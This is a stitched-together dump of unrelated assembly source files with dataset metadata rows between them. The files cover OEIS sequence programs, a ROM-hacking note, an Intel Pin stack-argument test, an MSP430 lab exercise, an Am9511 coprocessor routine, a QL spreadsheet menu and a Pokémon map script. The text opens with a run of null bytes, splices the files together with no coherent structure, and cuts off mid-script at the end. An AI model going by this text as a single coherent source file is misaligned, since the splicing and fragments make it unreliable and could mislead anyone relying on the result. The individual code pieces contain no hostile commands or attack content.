00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.6
| 2,999
| 0.656583
|
57bd07a95167bacb8ab10d6528ef3310bb2b480f
| 586
|
asm
|
Assembly
|
programs/oeis/029/A029938.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/029/A029938.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/029/A029938.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A029938: (p-5)(p-7)/24, where p=prime(n).
; 0,0,1,2,5,7,12,22,26,40,51,57,70,92,117,126,155,176,187,222,247,287,345,376,392,425,442,477,610,651,715,737,852,876,950,1027,1080,1162,1247,1276,1426,1457,1520,1552,1751,1962,2035,2072,2147,2262,2301,2501,2625,2752,2882,2926,3060,3151,3197,3432,3775,3876,3927,4030,4401,4565,4845,4902,5017,5192,5430,5612,5797,5922,6112,6370,6501,6767,7107,7176,7526,7597,7812,7957,8177,8475,8626,8702,8855,9322,9640,9801,10127,10292,10542,11051,11137,11926,12195,12650
add $0,1
seq $0,98090 ; Numbers k such that 2k-3 is prime.
sub $0,4
bin $0,2
div $0,3
| 65.111111
| 454
| 0.738908
|
b990a72e78cd3670ad43426bbb9f704aba400f66
| 392
|
asm
|
Assembly
|
oeis/212/A212761.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/212/A212761.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/212/A212761.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A212761: Number of (w,x,y,z) with all terms in {0,...,n}, w odd, x and y even.
; Submitted by Jamie Morken(s4)
; 0,2,12,32,90,162,336,512,900,1250,1980,2592,3822,4802,6720,8192,11016,13122,17100,20000,25410,29282,36432,41472,50700,57122,68796,76832,91350,101250,119040,131072,152592,167042,192780,209952,240426
add $0,1
mov $1,$0
mov $2,$0
div $0,2
sub $2,$0
mul $0,$1
mul $0,$2
mul $0,$2
| 30.153846
| 199
| 0.696429
|
6a09039a2d3b04b525163173bd16628ddc0010c7
| 205
|
asm
|
Assembly
|
ffight/lcs/boss/68.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 6
|
2020-10-14T15:29:10.000Z
|
2022-02-12T18:58:54.000Z
|
ffight/lcs/boss/68.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | null | null | null |
ffight/lcs/boss/68.asm
|
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
|
a4a0c86c200241494b3f1834cd0aef8dc02f7683
|
[
"Apache-2.0"
] | 1
|
2020-12-17T08:59:10.000Z
|
2020-12-17T08:59:10.000Z
|
copyright zengfr site:http://github.com/zengfr/romhack
0075BE ori.b #$1, ($68,A1) [1p+17]
0075C4 move.b ($2e,A1), ($3e,A3) [boss+68, enemy+68]
copyright zengfr site:http://github.com/zengfr/romhack
| 29.285714
| 54
| 0.687805
|
c9f0360eca15222027e26088a1783e324e752123
| 7,581
|
asm
|
Assembly
|
dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/inlined-stack-arg2_win_intel64.asm
|
DigitalAlchemist/fuzzwatch
|
32517e7b80b680dd658e833ed2dfdd88744e6694
|
[
"Apache-2.0"
] | 326
|
2019-08-10T21:17:22.000Z
|
2022-03-22T08:40:47.000Z
|
dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/inlined-stack-arg2_win_intel64.asm
|
DigitalAlchemist/fuzzwatch
|
32517e7b80b680dd658e833ed2dfdd88744e6694
|
[
"Apache-2.0"
] | 42
|
2019-08-13T12:48:19.000Z
|
2021-11-03T12:57:59.000Z
|
dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/inlined-stack-arg2_win_intel64.asm
|
DigitalAlchemist/fuzzwatch
|
32517e7b80b680dd658e833ed2dfdd88744e6694
|
[
"Apache-2.0"
] | 66
|
2019-08-10T21:41:38.000Z
|
2022-03-17T13:03:42.000Z
|
; BEGIN_LEGAL
; Intel Open Source License
;
; Copyright (c) 2002-2017 Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer. Redistributions
; in binary form must reproduce the above copyright notice, this list of
; conditions and the following disclaimer in the documentation and/or
; other materials provided with the distribution. Neither the name of
; the Intel Corporation nor the names of its contributors may be used to
; endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; END_LEGAL
PUBLIC Analysis_func
PUBLIC Analysis_func_immed
PUBLIC Analysis_func_reg_overwrite
.code
Analysis_func PROC
push rbx
push rsi
push rdi
sub rsp, 16
mov QWORD PTR[rsp], rbx
mov QWORD PTR[rsp+8], rcx
mov rbx, QWORD PTR [rsp+80]
mov ebx, DWORD PTR [rsp+80]
mov bx, WORD PTR [rsp+80]
mov bl, BYTE PTR [rsp+80]
cmp rbx, QWORD PTR [rsp+80]
cmp ebx, DWORD PTR [rsp+80]
cmp bx, WORD PTR [rsp+80]
cmp bl, BYTE PTR [rsp+80]
cmp QWORD PTR [rsp+80], rbx
cmp DWORD PTR [rsp+80], ebx
cmp WORD PTR [rsp+80], bx
cmp BYTE PTR [rsp+80], bl
add rbx, QWORD PTR [rsp+80]
add ebx, DWORD PTR [rsp+80]
add bx, WORD PTR [rsp+80]
add bl, BYTE PTR [rsp+80]
adc rbx, QWORD PTR [rsp+80]
adc ebx, DWORD PTR [rsp+80]
adc bx, WORD PTR [rsp+80]
adc bl, BYTE PTR [rsp+80]
sub rbx, QWORD PTR [rsp+80]
sub ebx, DWORD PTR [rsp+80]
sub bx, WORD PTR [rsp+80]
sub bl, BYTE PTR [rsp+80]
sbb rbx, QWORD PTR [rsp+80]
sbb ebx, DWORD PTR [rsp+80]
sbb bx, WORD PTR [rsp+80]
sbb bl, BYTE PTR [rsp+80]
xor rbx, QWORD PTR [rsp+80]
xor ebx, DWORD PTR [rsp+80]
xor bx, WORD PTR [rsp+80]
xor bl, BYTE PTR [rsp+80]
or rbx, QWORD PTR [rsp+80]
or ebx, DWORD PTR [rsp+80]
or bx, WORD PTR [rsp+80]
or bl, BYTE PTR [rsp+80]
movzx rbx, WORD PTR [rsp+80]
movzx rbx, BYTE PTR [rsp+80]
movzx ebx, BYTE PTR [rsp+80]
movzx bx, BYTE PTR [rsp+80]
movsx rbx, WORD PTR [rsp+80]
movsx rbx, BYTE PTR [rsp+80]
movsx ebx, BYTE PTR [rsp+80]
movsx bx, BYTE PTR [rsp+80]
mov rbx, QWORD PTR[rsp]
mov rcx, QWORD PTR[rsp+8]
add rsp, 16
pop rdi
pop rsi
pop rbx
ret
Analysis_func ENDP
Analysis_func_immed PROC
push rbx
mov rbx, QWORD PTR [rsp+48]
mov ebx, DWORD PTR [rsp+48]
mov bx, WORD PTR [rsp+48]
mov bl, BYTE PTR [rsp+48]
cmp rbx, QWORD PTR [rsp+48]
cmp ebx, DWORD PTR [rsp+48]
cmp bx, WORD PTR [rsp+48]
cmp bl, BYTE PTR [rsp+48]
cmp QWORD PTR [rsp+48], rbx
cmp DWORD PTR [rsp+48], ebx
cmp WORD PTR [rsp+48], bx
cmp BYTE PTR [rsp+48], bl
cmp QWORD PTR [rsp+48], 0baadf00dH
cmp DWORD PTR [rsp+48], 0baadf00dH
cmp WORD PTR [rsp+48], 0baadH
cmp BYTE PTR [rsp+48], 0baH
add rbx, QWORD PTR [rsp+48]
add ebx, DWORD PTR [rsp+48]
add bx, WORD PTR [rsp+48]
add bl, BYTE PTR [rsp+48]
adc rbx, QWORD PTR [rsp+48]
adc ebx, DWORD PTR [rsp+48]
adc bx, WORD PTR [rsp+48]
adc bl, BYTE PTR [rsp+48]
sub rbx, QWORD PTR [rsp+48]
sub ebx, DWORD PTR [rsp+48]
sub bx, WORD PTR [rsp+48]
sub bl, BYTE PTR [rsp+48]
sbb rbx, QWORD PTR [rsp+48]
sbb ebx, DWORD PTR [rsp+48]
sbb bx, WORD PTR [rsp+48]
sbb bl, BYTE PTR [rsp+48]
xor rbx, QWORD PTR [rsp+48]
xor ebx, DWORD PTR [rsp+48]
xor bx, WORD PTR [rsp+48]
xor bl, BYTE PTR [rsp+48]
or rbx, QWORD PTR [rsp+48]
or ebx, DWORD PTR [rsp+48]
or bx, WORD PTR [rsp+48]
or bl, BYTE PTR [rsp+48]
movzx rbx, WORD PTR [rsp+48]
movzx rbx, BYTE PTR [rsp+48]
movzx ebx, BYTE PTR [rsp+48]
movzx bx, BYTE PTR [rsp+48]
movsx rbx, WORD PTR [rsp+48]
movsx rbx, BYTE PTR [rsp+48]
movsx bx, BYTE PTR [rsp+48]
movsx ebx, BYTE PTR [rsp+48]
pop rbx
ret
Analysis_func_immed ENDP
Analysis_func_reg_overwrite PROC
push rbx
push rsi
push rdi
sub rsp, 16
mov esi, eax
mov QWORD PTR[rsp], rbx
mov QWORD PTR[rsp+8], rcx
mov rbx, QWORD PTR [rsp+80]
mov ebx, DWORD PTR [rsp+80]
mov bx, WORD PTR [rsp+80]
mov bl, BYTE PTR [rsp+80]
cmp rbx, QWORD PTR [rsp+80]
cmp ebx, DWORD PTR [rsp+80]
cmp bx, WORD PTR [rsp+80]
cmp bl, BYTE PTR [rsp+80]
cmp QWORD PTR [rsp+80], rbx
cmp DWORD PTR [rsp+80], ebx
cmp WORD PTR [rsp+80], bx
cmp BYTE PTR [rsp+80], bl
add rbx, QWORD PTR [rsp+80]
add ebx, DWORD PTR [rsp+80]
add bx, WORD PTR [rsp+80]
add bl, BYTE PTR [rsp+80]
adc rbx, QWORD PTR [rsp+80]
adc ebx, DWORD PTR [rsp+80]
adc bx, WORD PTR [rsp+80]
adc bl, BYTE PTR [rsp+80]
sub rbx, QWORD PTR [rsp+80]
sub ebx, DWORD PTR [rsp+80]
sub bx, WORD PTR [rsp+80]
sub bl, BYTE PTR [rsp+80]
sbb rbx, QWORD PTR [rsp+80]
sbb ebx, DWORD PTR [rsp+80]
sbb bx, WORD PTR [rsp+80]
sbb bl, BYTE PTR [rsp+80]
xor rbx, QWORD PTR [rsp+80]
xor ebx, DWORD PTR [rsp+80]
xor bx, WORD PTR [rsp+80]
xor bl, BYTE PTR [rsp+80]
or rbx, QWORD PTR [rsp+80]
or ebx, DWORD PTR [rsp+80]
or bx, WORD PTR [rsp+80]
or bl, BYTE PTR [rsp+80]
movzx rbx, WORD PTR [rsp+80]
movzx rbx, BYTE PTR [rsp+80]
movzx bx, BYTE PTR [rsp+80]
movzx ebx, BYTE PTR [rsp+80]
movsx rbx, WORD PTR [rsp+80]
movsx rbx, BYTE PTR [rsp+80]
movsx bx, BYTE PTR [rsp+80]
movsx ebx, BYTE PTR [rsp+80]
mov rbx, QWORD PTR[rsp]
mov rcx, QWORD PTR[rsp+8]
add rsp, 16
pop rdi
pop rsi
pop rbx
ret
Analysis_func_reg_overwrite ENDP
end
| 35.097222
| 72
| 0.561799
|
0c4d2733d2efd04dcb9254524c596f93e11f03a8
| 271
|
asm
|
Assembly
|
asm/0110_BRZ.asm
|
barrettotte/angstrom-cpu
|
f49cf9a60c0a20fffad55839b31bb444977706b2
|
[
"MIT"
] | null | null | null |
asm/0110_BRZ.asm
|
barrettotte/angstrom-cpu
|
f49cf9a60c0a20fffad55839b31bb444977706b2
|
[
"MIT"
] | null | null | null |
asm/0110_BRZ.asm
|
barrettotte/angstrom-cpu
|
f49cf9a60c0a20fffad55839b31bb444977706b2
|
[
"MIT"
] | null | null | null |
; branch if zero
LDI #0 ; 00010000 00000000 0x1000
ADI #1 ; 10000000 00000001 0x8001
BRZ #0x0 ; 01100000 00000000 0x6000
LDI #0 ; 00010000 00000000 0x1000
ADI #0 ; 10000000 00000000 0x8000
BRZ #0x0 ; 01100000 00000000 0x6000
| 27.1
| 41
| 0.634686
|
4b26fcdb3e6803732bfef7e4bd3f182b2a083e29
| 1,708
|
asm
|
Assembly
|
src/spread/act/digit.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/spread/act/digit.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
src/spread/act/digit.asm
|
olifink/qspread
|
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
|
[
"MIT"
] | null | null | null |
* spread Tue, 1993 May 25 20:04:53
* - digit pulldown
include win1_keys_wman
include win1_keys_wstatus
include win1_keys_wwork
include win1_keys_wdef_long
include win1_keys_qdos_pt
include win1_spread_keys
include win1_mac_oli
section prog
xdef pld_digt,mea_digt,ini_digt
xref.l mv_digt,mli.dig0,mli.dig9
xref.l wwa.digt,wst_digt
section prog
ini_digt subr a0/a1
lea mv_digt(a6),a0
xlea cfg_dig0,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig1,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig2,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig3,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig4,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig5,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig6,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig7,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig8,a1
xjsr ut_cpyst
adda.w #30,a0
xlea cfg_dig9,a1
xjsr ut_cpyst
subend
; setup, draw, read and then unset menu
; (returns with k.cancel/k.do in d4, according to do/quit)
r_pld reg a0-a5/d1-d3
pld_digt
movem.l r_pld,-(sp)
move.l wsp_xpos(a1),d4 ; uncomment if fixed
add.l ww_xorg(a4),d4 ; position is required
move.l #wwa.digt,d1
moveq #0,d2 ; use default size
lea wst_digt(a6),a1
xlea men_digt,a3
lea cwy_digt(pc),a4 ; setup postprocessing
suba.l a5,a5 ; draw postprocessing
xjsr ut_pullf ; (or use ut_pullf)
tst.l d0
movem.l (sp)+,r_pld
rts
cwy_digt subr d0/d1/a1 ; convert colourway
moveq #0,d0
;;; move.b colm(a6),d0
;;; xjsr ut_ccwwd
moveq #mli.dig0,d1
lea mv_digt(a6),a1
lp1
jsr wm.stlob(a2)
adda.w #30,a1
addq.w #1,d1
cmpi.w #mli.dig9+1,d1
bne.s lp1
subend
mea_digt
xjsr edt_strg
moveq #0,d0
moveq #0,d4
rts
end
| 13.774194
| 58
| 0.710187
|
ab8cd01513ad417457567b27dadc91a1be46bfc2
| 4,016
|
asm
|
Assembly
|
Lab5/Lab5.asm
|
jaibae21/CPE325_F2021
|
90e9746ba21a8f1ce617abdae35ca2ef1422ce7a
|
[
"MIT"
] | null | null | null |
Lab5/Lab5.asm
|
jaibae21/CPE325_F2021
|
90e9746ba21a8f1ce617abdae35ca2ef1422ce7a
|
[
"MIT"
] | null | null | null |
Lab5/Lab5.asm
|
jaibae21/CPE325_F2021
|
90e9746ba21a8f1ce617abdae35ca2ef1422ce7a
|
[
"MIT"
] | null | null | null |
;-------------------------------------------------------------------------------
; Author: Jaiden Gann
; Lab Section: 03
; Date: 9/17/21
; File: Lab4_Q1.c
; Program: Count Symbols in String
; Input: Input string specified in myStr
; Output: Register 5 holds the symbol count
; Description: This assembly program counts the number of symbols excluding
; characters and numerals by comparing each character in the string
; to see if it falls in the range of wanted characters
;-------------------------------------------------------------------------------
.cdecls C,LIST,"msp430.h" ; Include device header file
;-------------------------------------------------------------------------------
.def RESET ; Export program entry-point to
; make it known to linker.
.data
symb_count: .int 0;
myStr: .string "H! #money$", '' ;expected count 4 (counts space)
;-------------------------------------------------------------------------------
.text ; Assemble into program memory.
.retain ; Override ELF conditional linking
; and retain current section.
.retainrefs ; And retain any sections that have
; references to current section.
;-------------------------------------------------------------------------------
RESET: mov.w #__STACK_END,SP ; Initialize stackpointer
mov.w #WDTPW|WDTHOLD,&WDTCTL ; Stop watchdog timer
;-------------------------------------------------------------------------------
; Main loop here
;-------------------------------------------------------------------------------
main: mov.w #myStr, R4 ;puts string in R4
mov.w #symb_count, R5 ;places counter in R5
clr.w R5 ;register for counter
gnext: mov.b @R4+, R6 ;increment, get character put in R6
cmp #0, R6 ; check for NULL
jeq lend ; if NULL go to lend subroutine
;Notes: want everything below 0 and above z
;want between Z and a and want between 9 and A
;;everything below 0
cmp.b #'0', R6 ;check if number (low end)
jl counter_up ;jump to counter_up if less than 0
;everything above z
cmp.b #'{', R6 ;z is the last/highest character in Hex
;thus the next character,{, if greater or equal
jge counter_up ;jump to counter_up if greater or equal to {
;between Z and a
cmp.b #'a', R6 ;check to see if a
jl capitalZ_check ;if less than 'a' jump to capital Z check
;between 9 and A
cmp.b #':', R6 ;check if above range of number
jge capitalA_check ;if greater than or equal to : jump to A check
capitalZ_check:
cmp.b #'[', R6 ;[ is one up from Z, checking for that
jge counter_up ;if greater than or equal to [ jump to symb
;because we tested for anything below a (61h)
jmp gnext ;else look at next character
capitalA_check:
cmp.b #'A', R6 ;check if a capital A
jl counter_up ;if less than jump to symb count
;because we've already tested that we're above 9
jmp gnext ;else look at next character
counter_up:
inc.w R5 ;increment the counter
jmp gnext ;starts process again
lend:
;mov.w R5,&counter_up ;memory address of counter_up gets contents of R5
nop
;-------------------------------------------------------------------------------
; Stack Pointer definition
;-------------------------------------------------------------------------------
.global __STACK_END
.sect .stack
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".reset" ; MSP430 RESET Vector
.short RESET
.end
| 45.636364
| 80
| 0.464392
|
3f73d5479f651ad9b53bcec34e73d124825b2c9c
| 1,266
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_popl.asm
|
ped7g/z88dk
|
66e3126078063bc5942aed4726ab2cf2bee7f2ea
|
[
"ClArtistic"
] | 1
|
2022-03-08T11:55:58.000Z
|
2022-03-08T11:55:58.000Z
|
libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_popl.asm
|
litwr2/z88dk
|
13e55c9be0dfe79684caf901b15ac3d4ae2dc0f0
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/math/float/am9511/asm/z80/am32_popl.asm
|
litwr2/z88dk
|
13e55c9be0dfe79684caf901b15ac3d4ae2dc0f0
|
[
"ClArtistic"
] | null | null | null |
;
; Copyright (c) 2020 Phillip Stevens
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, August 2020
;
;-------------------------------------------------------------------------
; asm_am9511_popl - am9511 APU pop long
;-------------------------------------------------------------------------
;
; Load long from Am9511 APU stack
;
;-------------------------------------------------------------------------
SECTION code_fp_am9511
EXTERN __IO_APU_STATUS, __IO_APU_DATA
PUBLIC asm_am9511_popl
.am9511_popl_wait
ex (sp),hl
ex (sp),hl
.asm_am9511_popl
; float primitive
; pop a long from the Am9511 stack.
;
; enter : stack = ret0
;
; exit : dehl = long
;
; uses : af, bc, de, hl
in a,(__IO_APU_STATUS) ; read the APU status register
rlca ; busy? and __IO_APU_STATUS_BUSY
jr C,am9511_popl_wait
ld bc,__IO_APU_DATA ; the address of the APU data port in bc
in d,(c) ; load MSW from APU
in e,(c)
in h,(c) ; load LSW from APU
in l,(c)
ret
| 24.823529
| 74
| 0.49763
|
84cc184745df4152250fb992e7480d41c3e5d1c7
| 1,723
|
asm
|
Assembly
|
programs/oeis/017/A017214.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/017/A017214.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/017/A017214.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A017214: a(n) = (9*n + 4)^6.
; 4096,4826809,113379904,887503681,4096000000,13841287201,38068692544,90458382169,192699928576,377149515625,689869781056,1194052296529,1973822685184,3138428376721,4826809000000,7212549413161,10509215371264,14976071831449,20924183895616,28722900390625,38806720086016,51682540549249,67937289638464,88245939632761,113379904000000,144215816802121,181744694737984,227081481823729,281474976710656,346318142640625,423158800038976,513710701744969,619864990879744,743702041351801,887503681000000,1053765797374081,1245211326152704,1464803622199009,1715760213253696,2001566936265625,2325992456359936,2693103168443689,3107278481449024,3573226485213841,4096000000000000,4681013008649041,5334057471375424,6061320523197289,6869402054004736,7765332671265625,8756592045368896,9851127637605409,11057373810786304,12384271322498881,13841287201000000,15438435003747001,17186295458566144,19096037487458569,21179439613043776,23448911747640625,25917517364985856,28598996054590129,31507786458731584,34659049592086921,38068692544000000,41753392563387961,45730621526284864,50018670786022849,54636676406050816,59604644775390625,64943478606730816,70675003317157849,76821993791524864,83408201528457961,90458382169000000,97998323407891921,106054873287491584,114655968874330129,123830665318305856,133609165294515625,144022848827723776,155104303499468569,166887355037806144,179407098289692001,192699928576000000,206803573429178881,221757124713546304,237601071128220409,254377331092688896,272129286015015625,290901813942684736,310741323596082289,331695788784615424,353814783205469041,377149515625000000,401752865442768841,427679418638209024,454985504099933689,483729230337679936,513970522576890625
mul $0,9
add $0,4
pow $0,6
| 246.142857
| 1,663
| 0.922809
|
cecbbf5640d947f8ba0d8de97cfc44e43dab2fc6
| 415
|
asm
|
Assembly
|
programs/oeis/074/A074232.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/074/A074232.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/074/A074232.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A074232: Positive numbers that are not 3 or 6 (mod 9).
; 1,2,4,5,7,8,9,10,11,13,14,16,17,18,19,20,22,23,25,26,27,28,29,31,32,34,35,36,37,38,40,41,43,44,45,46,47,49,50,52,53,54,55,56,58,59,61,62,63,64,65,67,68,70,71,72,73,74,76,77,79,80,81,82,83,85,86,88,89,90,91
mov $2,$0
sub $0,1
add $2,1
mov $1,$2
lpb $0
sub $0,2
mov $2,$0
trn $0,1
trn $2,$0
trn $0,4
add $3,1
add $3,$2
lpe
add $1,$3
mov $0,$1
| 21.842105
| 207
| 0.595181
|
486b68acae78aa024ca9c33d3c266df0d7443d35
| 3,479
|
asm
|
Assembly
|
scripts/SilphCo4F.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
scripts/SilphCo4F.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
scripts/SilphCo4F.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
SilphCo4F_Script:
call SilphCo4Script_19d21
call EnableAutoTextBoxDrawing
ld hl, SilphCo4TrainerHeaders
ld de, SilphCo4F_ScriptPointers
ld a, [wSilphCo4FCurScript]
call ExecuteCurMapScriptInTable
ld [wSilphCo4FCurScript], a
ret
SilphCo4Script_19d21:
ld hl, wCurrentMapScriptFlags
bit 5, [hl]
res 5, [hl]
ret z
ld hl, SilphCo4GateCoords
call SilphCo4Script_19d5d
call SilphCo4Script_19d89
CheckEvent EVENT_SILPH_CO_4_UNLOCKED_DOOR1
jr nz, .asm_19d48
push af
ld a, $54
ld [wNewTileBlockID], a
lb bc, 6, 2
predef ReplaceTileBlock
pop af
.asm_19d48
CheckEventAfterBranchReuseA EVENT_SILPH_CO_4_UNLOCKED_DOOR2, EVENT_SILPH_CO_4_UNLOCKED_DOOR1
ret nz
ld a, $54
ld [wNewTileBlockID], a
lb bc, 4, 6
predef_jump ReplaceTileBlock
SilphCo4GateCoords:
dbmapcoord 2, 6
dbmapcoord 6, 4
db -1 ; end
SilphCo4Script_19d5d:
push hl
ld hl, wCardKeyDoorY
ld a, [hli]
ld b, a
ld a, [hl]
ld c, a
xor a
ldh [hUnlockedSilphCoDoors], a
pop hl
.asm_19d69
ld a, [hli]
cp $ff
jr z, .asm_19d85
push hl
ld hl, hUnlockedSilphCoDoors
inc [hl]
pop hl
cp b
jr z, .asm_19d7a
inc hl
jr .asm_19d69
.asm_19d7a
ld a, [hli]
cp c
jr nz, .asm_19d69
ld hl, wCardKeyDoorY
xor a
ld [hli], a
ld [hl], a
ret
.asm_19d85
xor a
ldh [hUnlockedSilphCoDoors], a
ret
SilphCo4Script_19d89:
EventFlagAddress hl, EVENT_SILPH_CO_4_UNLOCKED_DOOR1
ldh a, [hUnlockedSilphCoDoors]
and a
ret z
cp $1
jr nz, .next
SetEventReuseHL EVENT_SILPH_CO_4_UNLOCKED_DOOR1
ret
.next
SetEventAfterBranchReuseHL EVENT_SILPH_CO_4_UNLOCKED_DOOR2, EVENT_SILPH_CO_4_UNLOCKED_DOOR1
ret
SilphCo4F_ScriptPointers:
dw CheckFightingMapTrainers
dw DisplayEnemyTrainerTextAndStartBattle
dw EndTrainerBattle
SilphCo4F_TextPointers:
dw SilphCo4Text1
dw SilphCo4Text2
dw SilphCo4Text3
dw SilphCo4Text4
dw PickUpItemText
dw PickUpItemText
dw PickUpItemText
SilphCo4TrainerHeaders:
def_trainers 2
SilphCo4TrainerHeader0:
trainer EVENT_BEAT_SILPH_CO_4F_TRAINER_0, 4, SilphCo4BattleText2, SilphCo4EndBattleText2, SilphCo4AfterBattleText2
SilphCo4TrainerHeader1:
trainer EVENT_BEAT_SILPH_CO_4F_TRAINER_1, 3, SilphCo4BattleText3, SilphCo4EndBattleText3, SilphCo4AfterBattleText3
SilphCo4TrainerHeader2:
trainer EVENT_BEAT_SILPH_CO_4F_TRAINER_2, 4, SilphCo4BattleText4, SilphCo4EndBattleText4, SilphCo4AfterBattleText4
db -1 ; end
SilphCo4Text1:
text_asm
ld hl, SilphCo4Text_19de0
ld de, SilphCo4Text_19de5
call SilphCo6Script_1a22f
jp TextScriptEnd
SilphCo4Text_19de0:
text_far _SilphCo4Text_19de0
text_end
SilphCo4Text_19de5:
text_far _SilphCo4Text_19de5
text_end
SilphCo4Text2:
text_asm
ld hl, SilphCo4TrainerHeader0
call TalkToTrainer
jp TextScriptEnd
SilphCo4BattleText2:
text_far _SilphCo4BattleText2
text_end
SilphCo4EndBattleText2:
text_far _SilphCo4EndBattleText2
text_end
SilphCo4AfterBattleText2:
text_far _SilphCo4AfterBattleText2
text_end
SilphCo4Text3:
text_asm
